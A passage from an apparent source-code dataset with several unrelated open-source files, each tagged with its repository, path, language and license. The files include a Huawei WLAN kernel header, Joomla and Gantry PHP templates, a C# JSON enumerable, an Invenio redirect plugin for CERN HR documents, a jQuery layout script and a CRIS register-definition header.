auc_user_cnt[WLAN_ASSOC_USER_MAX_NUM]; }mac_res_hash_stru; */ typedef struct { mac_res_user_hash_stru *pst_user_hash_info; oal_queue_stru st_queue; oal_uint *pul_idx; oal_uint8 *puc_user_cnt; }mac_res_hash_stru; typedef struct { mac_device_stru ast_dev_info[MAC_RES_MAX_DEV_NUM]; oal_queue_stru st_queue; oal_uint aul_idx[MAC_RES_MAX_DEV_NUM]; oal_uint8 auc_user_cnt[MAC_RES_MAX_DEV_NUM]; oal_uint8 auc_resv[2]; }mac_res_device_stru; typedef struct { mac_res_mem_vap_stru ast_vap_info[WLAN_VAP_SUPPORT_MAX_NUM_LIMIT]; oal_queue_stru st_queue; oal_uint aul_idx[WLAN_VAP_SUPPORT_MAX_NUM_LIMIT]; oal_uint16 us_hmac_priv_size; oal_uint8 auc_user_cnt[WLAN_VAP_SUPPORT_MAX_NUM_LIMIT]; oal_uint8 auc_resv[2]; }mac_res_vap_stru; typedef struct { mac_res_mem_user_stru *pst_user_info; oal_queue_stru st_queue; oal_uint *pul_idx; oal_uint16 us_hmac_priv_size; oal_uint8 auc_resv[2]; oal_uint8 *puc_user_cnt; }mac_res_user_stru; typedef struct { mac_res_device_stru st_dev_res; mac_res_vap_stru st_vap_res; mac_res_user_stru st_user_res; mac_res_hash_stru st_hash_res; }mac_res_stru; /***************************************************************************** 8 UNION¶¨Òå *****************************************************************************/ /***************************************************************************** 9 OTHERS¶¨Òå *****************************************************************************/ extern mac_res_stru g_st_mac_res; /***************************************************************************** 10 º¯ÊýÉùÃ÷ *****************************************************************************/ extern oal_uint32 mac_res_alloc_dmac_dev(oal_uint8 *puc_dev_idx); #if (_PRE_MULTI_CORE_MODE_OFFLOAD_DMAC == _PRE_MULTI_CORE_MODE) extern oal_uint32 mac_res_alloc_hmac_dev(oal_uint8 *puc_dev_idx); #else extern oal_uint32 mac_res_alloc_hmac_dev(oal_uint32 ul_dev_idx); #endif extern oal_uint32 mac_res_free_dev(oal_uint32 ul_dev_idx); extern oal_uint32 mac_res_free_mac_user(oal_uint16 us_idx); extern oal_uint32 mac_res_free_mac_vap(oal_uint32 ul_idx); extern oal_uint32 mac_res_free_hash(oal_uint32 ul_hash_idx); OAL_STATIC OAL_INLINE oal_uint32 mac_res_alloc_hash(oal_uint16 *pus_hash_idx) { oal_uint ul_hash_idx_temp; if (OAL_UNLIKELY(OAL_PTR_NULL == pus_hash_idx)) { return OAL_FAIL; } ul_hash_idx_temp = (oal_uint)oal_queue_dequeue(&(g_st_mac_res.st_hash_res.st_queue)); /* 0ΪÎÞЧֵ */ if (0 == ul_hash_idx_temp) { return OAL_FAIL; } *pus_hash_idx = (oal_uint16)(ul_hash_idx_temp - 1); (g_st_mac_res.st_hash_res.puc_user_cnt[ul_hash_idx_temp - 1])++; return OAL_SUCC; } OAL_STATIC OAL_INLINE mac_res_user_hash_stru* mac_res_get_hash(oal_uint32 ul_dev_idx) { if (OAL_UNLIKELY(ul_dev_idx >= (oal_uint32)(g_us_max_asoc_user * MAC_RES_MAX_DEV_NUM))) { return OAL_PTR_NULL; } return &(g_st_mac_res.st_hash_res.pst_user_hash_info[ul_dev_idx]); } OAL_STATIC OAL_INLINE oal_uint32 mac_res_alloc_hmac_vap(oal_uint8 *puc_idx, oal_uint16 us_hmac_priv_size) { oal_uint ul_idx_temp; if (OAL_UNLIKELY(OAL_PTR_NULL == puc_idx)) { return OAL_FAIL; } ul_idx_temp = (oal_uint)oal_queue_dequeue(&(g_st_mac_res.st_vap_res.st_queue)); /* 0ΪÎÞЧֵ */ if (0 == ul_idx_temp) { return OAL_FAIL; } *puc_idx = (oal_uint8)(ul_idx_temp - 1); g_st_mac_res.st_vap_res.us_hmac_priv_size = us_hmac_priv_size; (g_st_mac_res.st_vap_res.auc_user_cnt[ul_idx_temp - 1])++; return OAL_SUCC; } OAL_STATIC OAL_INLINE oal_uint32 mac_res_alloc_dmac_vap(oal_uint8 uc_idx) { if (OAL_UNLIKELY(uc_idx >= WLAN_VAP_SUPPORT_MAX_NUM_LIMIT)) { return OAL_FAIL; } (g_st_mac_res.st_vap_res.auc_user_cnt[uc_idx])++; return OAL_SUCC; } OAL_STATIC OAL_INLINE oal_uint32 mac_res_alloc_dmac_user(oal_uint16 us_idx) { if (OAL_UNLIKELY((us_idx) >= (g_us_max_asoc_user * MAC_RES_MAX_DEV_NUM + WLAN_SERVICE_VAP_MAX_NUM_PER_DEVICE * MAC_RES_MAX_DEV_NUM))) { return OAL_FAIL; } /* DMAC½öÐèÒªÉèÖÃΪÓÐЧ¼´¿É */ (g_st_mac_res.st_user_res.puc_user_cnt[us_idx])++; return OAL_SUCC; } OAL_STATIC OAL_INLINE mac_device_stru* mac_res_get_dev(oal_uint32 ul_dev_idx) { if (OAL_UNLIKELY(ul_dev_idx >= MAC_RES_MAX_DEV_NUM)) { return OAL_PTR_NULL; } return &(g_st_mac_res.st_dev_res.ast_dev_info[ul_dev_idx]); } OAL_STATIC OAL_INLINE oal_void* mac_res_get_hmac_vap(oal_uint32 ul_idx) { if (OAL_UNLIKELY(ul_idx >= WLAN_VAP_SUPPORT_MAX_NUM_LIMIT)) { return OAL_PTR_NULL; } return (oal_void *)(&(g_st_mac_res.st_vap_res.ast_vap_info[ul_idx])); } OAL_STATIC OAL_INLINE oal_void* mac_res_get_mac_vap(oal_uint8 uc_idx) { if (OAL_UNLIKELY(uc_idx >= WLAN_VAP_SUPPORT_MAX_NUM_LIMIT)) { return OAL_PTR_NULL; } /* ÕâÀï·µ»ØÆ«ÒÆÄÚ´æ¿Õ¼ä */ return (oal_void *)((oal_uint8 *)(&(g_st_mac_res.st_vap_res.ast_vap_info[uc_idx])) + g_st_mac_res.st_vap_res.us_hmac_priv_size); } OAL_STATIC OAL_INLINE oal_void* mac_res_get_dmac_vap(oal_uint8 uc_idx) { return mac_res_get_mac_vap(uc_idx); } OAL_STATIC OAL_INLINE oal_uint32 mac_res_alloc_hmac_user(oal_uint16 *pus_idx, oal_uint16 us_hmac_priv_size) { oal_uint ul_idx_temp; if (OAL_UNLIKELY(OAL_PTR_NULL == pus_idx)) { return OAL_FAIL; } ul_idx_temp = (oal_uint)oal_queue_dequeue(&(g_st_mac_res.st_user_res.st_queue)); /* 0ΪÎÞЧֵ */ if (0 == ul_idx_temp) { return OAL_FAIL; } *pus_idx = (oal_uint16)(ul_idx_temp - 1); g_st_mac_res.st_user_res.us_hmac_priv_size = us_hmac_priv_size; (g_st_mac_res.st_user_res.puc_user_cnt[ul_idx_temp - 1])++; return OAL_SUCC; } OAL_STATIC OAL_INLINE oal_void* _mac_res_get_hmac_user(oal_uint16 us_idx) { if (OAL_UNLIKELY(us_idx >= g_us_max_asoc_user * MAC_RES_MAX_DEV_NUM + WLAN_SERVICE_VAP_MAX_NUM_PER_DEVICE * MAC_RES_MAX_DEV_NUM)) { return OAL_PTR_NULL; } return (oal_void *)(&(g_st_mac_res.st_user_res.pst_user_info[us_idx])); } OAL_STATIC OAL_INLINE oal_void* _mac_res_get_mac_user(oal_uint16 us_idx) { if (OAL_UNLIKELY(us_idx >= (g_us_max_asoc_user * MAC_RES_MAX_DEV_NUM + WLAN_SERVICE_VAP_MAX_NUM_PER_DEVICE * MAC_RES_MAX_DEV_NUM))) { return OAL_PTR_NULL; } /* ÕâÀïÆ«ÒÆÄÚ´æ¿Õ¼ä */ return (oal_void *)((oal_uint8 *)(&(g_st_mac_res.st_user_res.pst_user_info[us_idx])) + g_st_mac_res.st_user_res.us_hmac_priv_size); } OAL_STATIC OAL_INLINE oal_uint16 mac_res_get_max_user_id(void) { return (oal_uint16)(g_us_max_asoc_user * MAC_RES_MAX_DEV_NUM + WLAN_SERVICE_VAP_MAX_NUM_PER_DEVICE * MAC_RES_MAX_DEV_NUM); } extern oal_uint32 mac_res_init(oal_void); extern oal_uint32 mac_res_exit(void); extern oal_uint16 mac_res_get_max_asoc_user(oal_void); extern oal_uint32 mac_res_set_max_asoc_user(oal_uint16 us_num); #ifdef __cplusplus #if __cplusplus } #endif #endif #endif /* end of mac_resource.h */
Honor8Dev/android_kernel_huawei_FRD-L04
drivers/connectivity/hisi/c02/wifi/inc/dmac/mac_resource.h
C
gpl-2.0
14,442
Traffic_Freeway =============== <pre> 1. 簡單的計算器,無廣告,未來也不會有 2. 若需要從國道1上,國道3下,可以按下"More"如圖示 3. 喜歡的話,幫我分享給朋友吧:) </pre>
cnevinc/Traffic_Freeway
README.md
Markdown
gpl-2.0
214
using System; using System.Collections.Generic; #if NET20 using Newtonsoft.Json.Utilities.LinqBridge; #else using System.Linq; #endif using System.Serialisation.Json.Linq; using Newtonsoft.Json.Utilities; using System.Collections; namespace System.Serialisation.Json.Linq { /// <summary> /// Represents a collection of <see cref="JToken"/> objects. /// </summary> /// <typeparam name="T">The type of token</typeparam> public struct JEnumerable<T> : IJEnumerable<T>, IEquatable<JEnumerable<T>> where T : JToken { /// <summary> /// An empty collection of <see cref="JToken"/> objects. /// </summary> public static readonly JEnumerable<T> Empty = new JEnumerable<T>(Enumerable.Empty<T>()); private readonly IEnumerable<T> _enumerable; /// <summary> /// Initializes a new instance of the <see cref="JEnumerable{T}"/> struct. /// </summary> /// <param name="enumerable">The enumerable.</param> public JEnumerable(IEnumerable<T> enumerable) { ValidationUtils.ArgumentNotNull(enumerable, "enumerable"); _enumerable = enumerable; } /// <summary> /// Returns an enumerator that iterates through the collection. /// </summary> /// <returns> /// A <see cref="T:System.Collections.Generic.IEnumerator`1"/> that can be used to iterate through the collection. /// </returns> public IEnumerator<T> GetEnumerator() { if (_enumerable == null) return Empty.GetEnumerator(); return _enumerable.GetEnumerator(); } /// <summary> /// Returns an enumerator that iterates through a collection. /// </summary> /// <returns> /// An <see cref="T:System.Collections.IEnumerator"/> object that can be used to iterate through the collection. /// </returns> IEnumerator IEnumerable.GetEnumerator() { return GetEnumerator(); } /// <summary> /// Gets the <see cref="IJEnumerable{JToken}"/> with the specified key. /// </summary> /// <value></value> public IJEnumerable<JToken> this[object key] { get { if (_enumerable == null) return JEnumerable<JToken>.Empty; return new JEnumerable<JToken>(_enumerable.Values<T, JToken>(key)); } } /// <summary> /// Determines whether the specified <see cref="JEnumerable{T}"/> is equal to this instance. /// </summary> /// <param name="other">The <see cref="JEnumerable{T}"/> to compare with this instance.</param> /// <returns> /// <c>true</c> if the specified <see cref="JEnumerable{T}"/> is equal to this instance; otherwise, <c>false</c>. /// </returns> public bool Equals(JEnumerable<T> other) { return Equals(_enumerable, other._enumerable); } /// <summary> /// Determines whether the specified <see cref="System.Object"/> is equal to this instance. /// </summary> /// <param name="obj">The <see cref="System.Object"/> to compare with this instance.</param> /// <returns> /// <c>true</c> if the specified <see cref="System.Object"/> is equal to this instance; otherwise, <c>false</c>. /// </returns> public override bool Equals(object obj) { if (obj is JEnumerable<T>) return Equals((JEnumerable<T>)obj); return false; } /// <summary> /// Returns a hash code for this instance. /// </summary> /// <returns> /// A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. /// </returns> public override int GetHashCode() { if (_enumerable == null) return 0; return _enumerable.GetHashCode(); } } }
Myvar/eStd
eStd/System.Serialisation/Json/Linq/JEnumerable.cs
C#
gpl-2.0
4,086
<?php /** * @package Joomla.Site * @subpackage mod_menu * * @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; // Note. It is important to remove spaces between elements. $class = $item->anchor_css ? $item->anchor_css : ''; $title = $item->anchor_title ? 'title="' . $item->anchor_title . '" ' : ''; if ($item->menu_image) { $item->params->get('menu_text', 1) ? $linktype = '<img src="' . $item->menu_image . '" alt="' . $item->title . '" /><span class="image-title">' . $item->title . '</span> ' : $linktype = '<img src="' . $item->menu_image . '" alt="' . $item->title . '" />'; } else { $linktype = $item->title; } switch ($item->browserNav) { default: case 0: ?><a class="scroll" <?php echo $class; ?>href="<?php echo $item->flink; ?>" <?php echo $title; ?>><?php echo $linktype; ?></a><?php break; case 1: // _blank ?><a class="scroll" <?php echo $class; ?>href="<?php echo $item->flink; ?>" target="_blank" <?php echo $title; ?>><?php echo $linktype; ?></a><?php break; case 2: // Use JavaScript "window.open" ?><a class="scroll" <?php echo $class; ?>href="<?php echo $item->flink; ?>" onclick="window.open(this.href,'targetWindow','toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes');return false;" <?php echo $title; ?>><?php echo $linktype; ?></a> <?php break; }
cttech/Template
templates/opic/html/mod_menu/default_component.php
PHP
gpl-2.0
1,469
<?php /** * @package Gantry5 * @author RocketTheme http://www.rockettheme.com * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC * @license GNU/GPLv2 and later * * http://www.gnu.org/licenses/gpl-2.0.html */ namespace Gantry\Joomla\Module; use Gantry\Framework\Gantry; use Gantry\Joomla\Object\Object; use RocketTheme\Toolbox\ArrayTraits\Export; use RocketTheme\Toolbox\ArrayTraits\ExportInterface; \JTable::addIncludePath(JPATH_LIBRARIES . '/legacy/table/'); class Module extends Object implements ExportInterface { use Export; static protected $instances = []; static protected $table = 'Module'; static protected $order = 'id'; protected $_assignments; public function assignments($assignments = null) { if (is_array($assignments)) { $this->_assignments = array_map('intval', array_values($assignments)); } elseif (!isset($this->_assignments)) { $db = \JFactory::getDbo(); $query = $db->getQuery(true); $query->select('menuid')->from('#__modules_menu')->where('moduleid = ' . $this->id); $db->setQuery($query); $this->_assignments = array_map('intval', (array) $db->loadColumn()); } return $this->_assignments; } public function initialize() { if (!parent::initialize()) { return false; } $this->params = json_decode($this->params); return true; } public function toArray() { $particle = $this->module === 'mod_gantry5_particle'; // Convert params to array. $params = json_decode(json_encode($this->params), true); $array = [ 'id' => $this->id, 'position' => $this->position, 'ordering' => (int) $this->ordering, 'type' => $particle ? 'particle' : 'joomla', 'title' => $this->title, 'chrome' => [ 'display_title' => (bool) $this->showtitle, 'class' => !empty($params['moduleclass_sfx']) ? $params['moduleclass_sfx'] : '' ], 'options' => null, 'assignments' => $this->assignments() ]; $options = array_filter( [ 'type' => !$particle ? $this->module : null, 'note' => $this->note ?: null, 'published' => (bool) $this->published, 'content' => $this->content ?: null, 'params' => &$params, 'language' => $this->language !== '*' ? $this->language : null, ], [$this, 'is_not_null'] ); if ($particle) { $array['joomla'] = $options; $options = !empty($params['particle']) ? json_decode($params['particle'], true) : []; $options['type'] = isset($options['particle']) ? $options['particle'] : null; $options['attributes'] = isset($options['options']['particle']) ? $options['options']['particle'] : []; unset($options['particle'], $options['options']); $array['options'] = $options; unset($params['particle']); } else { $array['options'] = $options; } return array_filter($array, [$this, 'is_not_null']); } public function create(array $array) { $type = $array['type']; if ($type === 'particle') { $particle = isset($array['options']) ? $array['options'] : []; $array['options'] = isset($array['joomla']) ? $array['joomla'] : []; $array['options']['type'] = 'mod_gantry5_particle'; $array['options']['params']['particle'] = $particle; } elseif ($type !== 'joomla') { return null; } $options = $array['options']; $properties = [ 'title' => $array['title'], 'note' => isset($options['note']) ? $options['note'] : '', 'content' => isset($options['content']) ? $options['content'] : '', 'position' => $array['position'], 'ordering' => (int) $array['ordering'], 'published' => (int) !empty($options['published']), 'module' => $options['type'], 'showtitle' => (int) !empty($array['chrome']['display_title']), 'params' => isset($options['params']) ? json_decode(json_encode($options['params'])) : [], 'language' => isset($options['language']) ? $options['language'] : '*', '_assignments' => isset($array['assignments']) ? $array['assignments'] : [], ]; $object = new static(); $object->bind($properties); return $object; } public function render($file) { return Gantry::instance()['theme']->render($file, ['particle' => $this]); } public function compile($string) { return Gantry::instance()['theme']->compile($string, ['particle' => $this]); } // Internal functions /** * @param $val * @return bool * @internal */ public function is_not_null($val) { return !is_null($val); } static protected function collection($items) { return new ModuleCollection($items); } }
V-Web/vwebadmin
libraries/gantry5/classes/Gantry/Joomla/Module/Module.php
PHP
gpl-2.0
5,268
<?php /** * @package EasySocial * @copyright Copyright (C) 2010 - 2013 Stack Ideas Sdn Bhd. All rights reserved. * @license GNU/GPL, see LICENSE.php * EasySocial is free software. This version may have been modified pursuant * to the GNU General Public License, and as distributed it includes or * is derivative of works licensed under the GNU General Public License or * other free or open source software licenses. * See COPYRIGHT.php for copyright notices and details. */ defined( '_JEXEC' ) or die( 'Unauthorized Access' ); ?> <div class="row-fluid" data-sharing-email <?php if( !empty( $url ) ) { ?>data-token="<?php echo $url; ?>"<?php } ?>> <?php if( empty( $url ) ) { echo JText::_( 'COM_EASYSOCIAL_SHARING_EMAIL_ERROR' ); } else { ?> <div data-sharing-email-frame data-sharing-email-sending class="alert fade in" style="display: none;"> <?php echo JText::_( 'COM_EASYSOCIAL_SHARING_EMAIL_SENDING' ); ?> </div> <div data-sharing-email-frame data-sharing-email-done class="alert alert-success fade in" style="display: none;"> <?php echo JText::_( 'COM_EASYSOCIAL_SHARING_EMAIL_DONE' ); ?> </div> <div data-sharing-email-frame data-sharing-email-fail class="alert alert-error fade in" style="display: none;"> <span data-sharing-email-fail-msg><?php echo JText::_( 'COM_EASYSOCIAL_SHARING_EMAIL_FAIL' ); ?></span> </div> <div data-sharing-email-frame data-sharing-email-form class="es-sharing-form"> <div class="control-group"> <label class="control-label"><?php echo JText::_( 'COM_EASYSOCIAL_SHARING_EMAIL_RECIPIENTS' ); ?></label> <div data-sharing-email-recipients class="controls"> <input type="text" data-textboxlist-textField data-sharing-email-input class="full-width" /> <p class="help-block small muted"><?php echo JText::_( 'COM_EASYSOCIAL_SHARING_EMAIL_INFO' ); ?> </div> </div> <div class="control-group mt-10"> <label class="control-label"><?php echo JText::_( 'COM_EASYSOCIAL_SHARING_EMAIL_MESSAGE' ); ?></label> <div class="controls"> <textarea data-sharing-email-content class="full-width"></textarea> </div> </div> <div class="row-fluid mb-10"> <button type="button" data-sharing-email-send class="btn btn-es-primary pull-right"><?php echo JText::_( 'COM_EASYSOCIAL_SHARING_EMAIL_SEND' ); ?></button> </div> </div> <?php } ?> </div>
cuongnd/test_pro
administrator/components/com_easysocial/themes/default/sharing/email.php
PHP
gpl-2.0
2,331
# -*- coding: utf-8 -*- ## ## This file is part of Invenio. ## Copyright (C) 2012 CERN. ## ## Invenio is free software; you can redistribute it and/or ## modify it under the terms of the GNU General Public License as ## published by the Free Software Foundation; either version 2 of the ## License, or (at your option) any later version. ## ## Invenio is distributed in the hope that it will be useful, but ## WITHOUT ANY WARRANTY; without even the implied warranty of ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## General Public License for more details. ## ## You should have received a copy of the GNU General Public License ## along with Invenio; if not, write to the Free Software Foundation, Inc., ## 59 Temple Place, Suite 330, Boston, MA 02111-1307, USA. """ This implements a redirection for CERN HR Documents in the CERN Document Server. It's useful as a reference on how goto plugins could be implemented. """ import time import re from invenio.legacy.search_engine import perform_request_search from invenio.legacy.bibrecord import get_fieldvalues from invenio.legacy.bibdocfile.api import BibRecDocs def make_cern_ssr_docname(lang, edition, modif=0): if modif: return "CERN_SSR_%(lang)s_ed%(edition)02d_modif%(modif)02d" % { 'lang': lang, 'edition': edition, 'modif': modif } else: return "CERN_SSR_%(lang)s_ed%(edition)02d" % { 'lang': lang, 'edition': edition, } _RE_REVISION = re.compile(r"rev(\d\d)") def _get_revision(docname): """ Return the revision in a docname. E.g.: CERN_Circ_Op_en_02_rev01_Implementation measures.pdf -> 1 CERN_Circ_Op_en_02_rev02_Implementation measures.PDF -> 2 """ g = _RE_REVISION.search(docname) if g: return int(g.group(1)) return 0 def _register_document(documents, docname, key): """ Register in the documents mapping the docname to key, but only if the docname has a revision higher of the docname already associated with a key """ if key in documents: if _get_revision(docname) > _get_revision(documents[key]): documents[key] = docname else: documents[key] = docname def goto(type, document='', number=0, lang='en', modif=0): today = time.strftime('%Y-%m-%d') if type == 'SSR': ## We would like a CERN Staff Rules and Regulations recids = perform_request_search(cc='Staff Rules and Regulations', f="925__a:1996-01-01->%s 925__b:%s->9999-99-99" % (today, today)) recid = recids[-1] reportnumber = get_fieldvalues(recid, '037__a')[0] edition = int(reportnumber[-2:]) ## e.g. CERN-STAFF-RULES-ED08 return BibRecDocs(recid).get_bibdoc(make_cern_ssr_docname(lang, edition, modif)).get_file('.pdf').get_url() elif type == "OPER-CIRC": recids = perform_request_search(cc="Operational Circulars", p="reportnumber=\"CERN-OPER-CIRC-%s-*\"" % number, sf="925__a") recid = recids[-1] documents = {} bibrecdocs = BibRecDocs(recid) for docname in bibrecdocs.get_bibdoc_names(): ldocname = docname.lower() if 'implementation' in ldocname: _register_document(documents, docname, 'implementation_en') elif 'application' in ldocname: _register_document(documents, docname, 'implementation_fr') elif 'archiving' in ldocname: _register_document(documents, docname, 'archiving_en') elif 'archivage' in ldocname: _register_document(documents, docname, 'archiving_fr') elif 'annexe' in ldocname or 'annexes_fr' in ldocname: _register_document(documents, docname, 'annex_fr') elif 'annexes_en' in ldocname or 'annex' in ldocname: _register_document(documents, docname, 'annex_en') elif '_en_' in ldocname or '_eng_' in ldocname or '_angl_' in ldocname: _register_document(documents, docname, 'en') elif '_fr_' in ldocname: _register_document(documents, docname, 'fr') return bibrecdocs.get_bibdoc(documents[document]).get_file('.pdf').get_url() elif type == 'ADMIN-CIRC': recids = perform_request_search(cc="Administrative Circulars", p="reportnumber=\"CERN-ADMIN-CIRC-%s-*\"" % number, sf="925__a") recid = recids[-1] documents = {} bibrecdocs = BibRecDocs(recid) for docname in bibrecdocs.get_bibdoc_names(): ldocname = docname.lower() if 'implementation' in ldocname: _register_document(documents, docname, 'implementation-en') elif 'application' in ldocname: _register_document(documents, docname, 'implementation-fr') elif 'archiving' in ldocname: _register_document(documents, docname, 'archiving-en') elif 'archivage' in ldocname: _register_document(documents, docname, 'archiving-fr') elif 'annexe' in ldocname or 'annexes_fr' in ldocname: _register_document(documents, docname, 'annex-fr') elif 'annexes_en' in ldocname or 'annex' in ldocname: _register_document(documents, docname, 'annex-en') elif '_en_' in ldocname or '_eng_' in ldocname or '_angl_' in ldocname: _register_document(documents, docname, 'en') elif '_fr_' in ldocname: _register_document(documents, docname, 'fr') return bibrecdocs.get_bibdoc(documents[document]).get_file('.pdf').get_url() def register_hr_redirections(): """ Run this only once """ from invenio.modules.redirector.api import register_redirection plugin = 'goto_plugin_cern_hr_documents' ## Staff rules and regulations for modif in range(1, 20): for lang in ('en', 'fr'): register_redirection('hr-srr-modif%02d-%s' % (modif, lang), plugin, parameters={'type': 'SSR', 'lang': lang, 'modif': modif}) for lang in ('en', 'fr'): register_redirection('hr-srr-%s' % lang, plugin, parameters={'type': 'SSR', 'lang': lang, 'modif': 0}) ## Operational Circulars for number in range(1, 10): for lang in ('en', 'fr'): register_redirection('hr-oper-circ-%s-%s' % (number, lang), plugin, parameters={'type': 'OPER-CIRC', 'document': lang, 'number': number}) for number, special_document in ((2, 'implementation'), (2, 'annex'), (3, 'archiving'), (3, 'annex')): for lang in ('en', 'fr'): register_redirection('hr-circ-%s-%s-%s' % (number, special_document, lang), plugin, parameters={'type': 'OPER-CIRC', 'document': '%s-%s' % (special_document, lang), 'number': number}) ## Administrative Circulars: for number in range(1, 32): for lang in ('en', 'fr'): register_redirection('hr-admin-circ-%s-%s' % (number, lang), plugin, parameters={'type': 'ADMIN-CIRC', 'document': lang, 'number': number}) if __name__ == "__main__": register_hr_redirections()
PXke/invenio
invenio/modules/redirector/redirect_methods/goto_plugin_cern_hr_documents.py
Python
gpl-2.0
7,113
function featured_thumb(){ jQuery('ul.thumbnails').each(function(index, element) { var get_class=jQuery(this).attr('class'); var get_parent=jQuery(this).closest('div'); var wt=jQuery(this).closest('div').width();//width total var col=jQuery(this).attr('data-columns');//columns var dt=Math.floor(wt/col); var mt=6; var wa=dt-mt; var mg=3; var ft_size=jQuery(this).attr('data-ftsize'); jQuery(this).css('font-size',ft_size+'px'); get_parent.find('ul.thumbnails li').css({'max-width':wa+'px','margin':mg+'px','padding':'0'}); get_parent.find('ul.thumbnails li h5').css({'font-size':ft_size+'px','font-weight':'bold','padding':'0 0 5px','margin':'0'}); get_parent.find('ul.thumbnails li img').css({'height':wa+'px','margin':'0'}); get_parent.find('ul.thumbnails li p').css({'margin':'0'}); }); } window.onload = featured_thumb;
Seravo/wpthemegenerator-enhanced
js/featured_thumbnail.js
JavaScript
gpl-2.0
877
#ifndef __rt_trace_defs_asm_h #define __rt_trace_defs_asm_h /* * This file is autogenerated from * file: ../../inst/rt_trace/rtl/rt_regs.r * id: rt_regs.r,v 1.18 2005/02/08 15:45:00 stefans Exp * last modfied: Mon Apr 11 16:09:14 2005 * * by /n/asic/design/tools/rdesc/src/rdes2c -asm --outfile asm/rt_trace_defs_asm.h ../../inst/rt_trace/rtl/rt_regs.r * id: $Id: rt_trace_defs_asm.h,v 1.1.1.1 2011/08/19 02:09:29 ronald Exp $ * Any changes here will be lost. * * -*- buffer-read-only: t -*- */ #ifndef REG_FIELD #define REG_FIELD( scope, reg, field, value ) \ REG_FIELD_X_( value, reg_##scope##_##reg##___##field##___lsb ) #define REG_FIELD_X_( value, shift ) ((value) << shift) #endif #ifndef REG_STATE #define REG_STATE( scope, reg, field, symbolic_value ) \ REG_STATE_X_( regk_##scope##_##symbolic_value, reg_##scope##_##reg##___##field##___lsb ) #define REG_STATE_X_( k, shift ) (k << shift) #endif #ifndef REG_MASK #define REG_MASK( scope, reg, field ) \ REG_MASK_X_( reg_##scope##_##reg##___##field##___width, reg_##scope##_##reg##___##field##___lsb ) #define REG_MASK_X_( width, lsb ) (((1 << width)-1) << lsb) #endif #ifndef REG_LSB #define REG_LSB( scope, reg, field ) reg_##scope##_##reg##___##field##___lsb #endif #ifndef REG_BIT #define REG_BIT( scope, reg, field ) reg_##scope##_##reg##___##field##___bit #endif #ifndef REG_ADDR #define REG_ADDR( scope, inst, reg ) REG_ADDR_X_(inst, reg_##scope##_##reg##_offset) #define REG_ADDR_X_( inst, offs ) ((inst) + offs) #endif #ifndef REG_ADDR_VECT #define REG_ADDR_VECT( scope, inst, reg, index ) \ REG_ADDR_VECT_X_(inst, reg_##scope##_##reg##_offset, index, \ STRIDE_##scope##_##reg ) #define REG_ADDR_VECT_X_( inst, offs, index, stride ) \ ((inst) + offs + (index) * stride) #endif /* Register rw_cfg, scope rt_trace, type rw */ #define reg_rt_trace_rw_cfg___en___lsb 0 #define reg_rt_trace_rw_cfg___en___width 1 #define reg_rt_trace_rw_cfg___en___bit 0 #define reg_rt_trace_rw_cfg___mode___lsb 1 #define reg_rt_trace_rw_cfg___mode___width 1 #define reg_rt_trace_rw_cfg___mode___bit 1 #define reg_rt_trace_rw_cfg___owner___lsb 2 #define reg_rt_trace_rw_cfg___owner___width 1 #define reg_rt_trace_rw_cfg___owner___bit 2 #define reg_rt_trace_rw_cfg___wp___lsb 3 #define reg_rt_trace_rw_cfg___wp___width 1 #define reg_rt_trace_rw_cfg___wp___bit 3 #define reg_rt_trace_rw_cfg___stall___lsb 4 #define reg_rt_trace_rw_cfg___stall___width 1 #define reg_rt_trace_rw_cfg___stall___bit 4 #define reg_rt_trace_rw_cfg___wp_start___lsb 8 #define reg_rt_trace_rw_cfg___wp_start___width 7 #define reg_rt_trace_rw_cfg___wp_stop___lsb 16 #define reg_rt_trace_rw_cfg___wp_stop___width 7 #define reg_rt_trace_rw_cfg_offset 0 /* Register rw_tap_ctrl, scope rt_trace, type rw */ #define reg_rt_trace_rw_tap_ctrl___ack_data___lsb 0 #define reg_rt_trace_rw_tap_ctrl___ack_data___width 1 #define reg_rt_trace_rw_tap_ctrl___ack_data___bit 0 #define reg_rt_trace_rw_tap_ctrl___ack_guru___lsb 1 #define reg_rt_trace_rw_tap_ctrl___ack_guru___width 1 #define reg_rt_trace_rw_tap_ctrl___ack_guru___bit 1 #define reg_rt_trace_rw_tap_ctrl_offset 4 /* Register r_tap_stat, scope rt_trace, type r */ #define reg_rt_trace_r_tap_stat___dav___lsb 0 #define reg_rt_trace_r_tap_stat___dav___width 1 #define reg_rt_trace_r_tap_stat___dav___bit 0 #define reg_rt_trace_r_tap_stat___empty___lsb 1 #define reg_rt_trace_r_tap_stat___empty___width 1 #define reg_rt_trace_r_tap_stat___empty___bit 1 #define reg_rt_trace_r_tap_stat_offset 8 /* Register rw_tap_data, scope rt_trace, type rw */ #define reg_rt_trace_rw_tap_data_offset 12 /* Register rw_tap_hdata, scope rt_trace, type rw */ #define reg_rt_trace_rw_tap_hdata___op___lsb 0 #define reg_rt_trace_rw_tap_hdata___op___width 4 #define reg_rt_trace_rw_tap_hdata___sub_op___lsb 4 #define reg_rt_trace_rw_tap_hdata___sub_op___width 4 #define reg_rt_trace_rw_tap_hdata_offset 16 /* Register r_redir, scope rt_trace, type r */ #define reg_rt_trace_r_redir_offset 20 /* Constants */ #define regk_rt_trace_brk 0x0000000c #define regk_rt_trace_dbg 0x00000003 #define regk_rt_trace_dbgdi 0x00000004 #define regk_rt_trace_dbgdo 0x00000005 #define regk_rt_trace_gmode 0x00000000 #define regk_rt_trace_no 0x00000000 #define regk_rt_trace_nop 0x00000000 #define regk_rt_trace_normal 0x00000000 #define regk_rt_trace_rdmem 0x00000007 #define regk_rt_trace_rdmemb 0x00000009 #define regk_rt_trace_rdpreg 0x00000002 #define regk_rt_trace_rdreg 0x00000001 #define regk_rt_trace_rdsreg 0x00000003 #define regk_rt_trace_redir 0x00000006 #define regk_rt_trace_ret 0x0000000b #define regk_rt_trace_rw_cfg_default 0x00000000 #define regk_rt_trace_trcfg 0x00000001 #define regk_rt_trace_wp 0x00000001 #define regk_rt_trace_wp0 0x00000001 #define regk_rt_trace_wp1 0x00000002 #define regk_rt_trace_wp2 0x00000004 #define regk_rt_trace_wp3 0x00000008 #define regk_rt_trace_wp4 0x00000010 #define regk_rt_trace_wp5 0x00000020 #define 